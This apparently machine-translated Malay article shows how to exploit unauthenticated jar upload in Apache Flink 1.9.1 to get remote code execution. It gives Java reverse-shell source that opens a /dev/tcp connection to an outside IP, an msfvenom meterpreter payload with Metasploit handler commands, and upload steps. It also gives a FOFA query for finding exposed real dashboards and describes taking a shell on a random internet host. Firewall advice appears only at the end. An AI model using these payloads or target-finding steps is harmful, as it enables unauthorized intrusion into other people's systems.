Pada 11 November 2019, jurutera keselamatan Henry Chen mendedahkan kelemahan yang membolehkan Apache Flink memuat naik pakej balang tanpa kebenaran, yang membawa kepada pelaksanaan kod jauh. Memandangkan Papan Pemuka Apache Flink boleh diakses tanpa pengesahan secara lalai, shell boleh diperolehi dengan memuat naik pakej balang berniat jahat dan mencetuskan pelaksanaan kod berniat jahat.
<= 1.9.1 (versi terkini)
(1) Pasang terlebih dahulu Java yang baik (memerlukan java8 atau lebih tinggi)
(2) Muat turun flink-1.9.1
Alamat muat turun: https://www.apache .org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) Nyahzip pakej termampat yang dimuat turun:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
( 4) Pergi ke direktori nyahmampat dan pergi ke direktori binnya:
(5) Mulakan kelipan:
./start-cluster.sh
(6) Akses Penyemak Imbas pengesahan (port lalai ialah 8081):
http://172.26.1.108:8081
Gambar di atas muncul dan pembinaannya berjaya.
(7) Sediakan automula semasa but (Saya telah lama bergelut di sini, tetapi saya tidak boleh bangun. Sumber langsung /etc/rc.d/rc.local boleh bermula, tetapi flink tidak akan dimulakan selepas dimulakan semula, dan akhirnya menemui penyelesaian)
Tetapan automula semasa but
Langkah pengeluaran pakej jar:
( 1) Rujuk artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu untuk menggunakan java untuk melantun semula shell
dan ingat untuk mengubah suai ip dan portnya:
Kod:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>b. Kemudian pilih java-->Fail JAR boleh dijalankan</p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>c. Kemudian pilih projek java dan laluan eksport dan nama fail eksport </p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>Gambar</p> <p>Ini menjana pakej balang untuk shell lantunan</p> <p>msf menjana kuda balang:</p> <p>(1) Gunakan msfvenom untuk jana kuda balang:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) Buka modul mendengar msf, dan dengarkan port 9999 (untuk konsisten dengan port yang ditetapkan oleh kuda balang kami)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) Selepas memuat naik kuda balang yang kami hasilkan dan menyerahkannya (ini Sila rujuk pembiakan di bawah untuk beberapa operasi Anda boleh melihat bahawa kami berjaya menerima cengkerang:
Penghasilan semula tempatan:
(1) Sasaran Lawati:
(2) Klik Hantar kerja Baharu untuk membuka halaman untuk memuat naik pakej balang:
(3) Klik Tambah Baharu untuk memilih pakej balang yang kami buat:
( 4) Pantau port pada mesin kami (pakej balang yang kami buat terus melantunkan shell)
(5) Klik pada pakej balang yang baru kami muat naik:
(6) Kemudian klik Hantar, anda dapat melihat bahawa kami telah berjaya menerima shell:
Tapak Internet:
kata kunci fofa:
"apache-flink-dashboard" && country="AS"
(1) Cari sasaran rawak:
(2) Klik Hantar Kerja baharu, anda boleh lihat ia membenarkan kami memuat naik pakej balang
(3) Gunakan fungsi flink untuk memuat naik pakej balang untuk memuat naik pakej balang kami:
(4) Selepas memuat naik, kami Pantau port pada vps
(5) Kemudian kembali ke penyemak imbas, pilih pakej balang yang baru kami muat naik, dan klik Serah Anda dapat melihat bahawa vps kami telah berjaya menerima shell
Adalah disyorkan untuk menetapkan dasar tembok api untuk hanya membenarkan IP senarai putih mengakses perkhidmatan apache flink dan menambahkannya pada proksi web ( seperti apache httpd) Pengesahan ringkasan perkhidmatan.
Sentiasa perhatikan laman web rasmi dan tunggu versi baharu atau kemas kini tampalan
Atas ialah kandungan terperinci Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!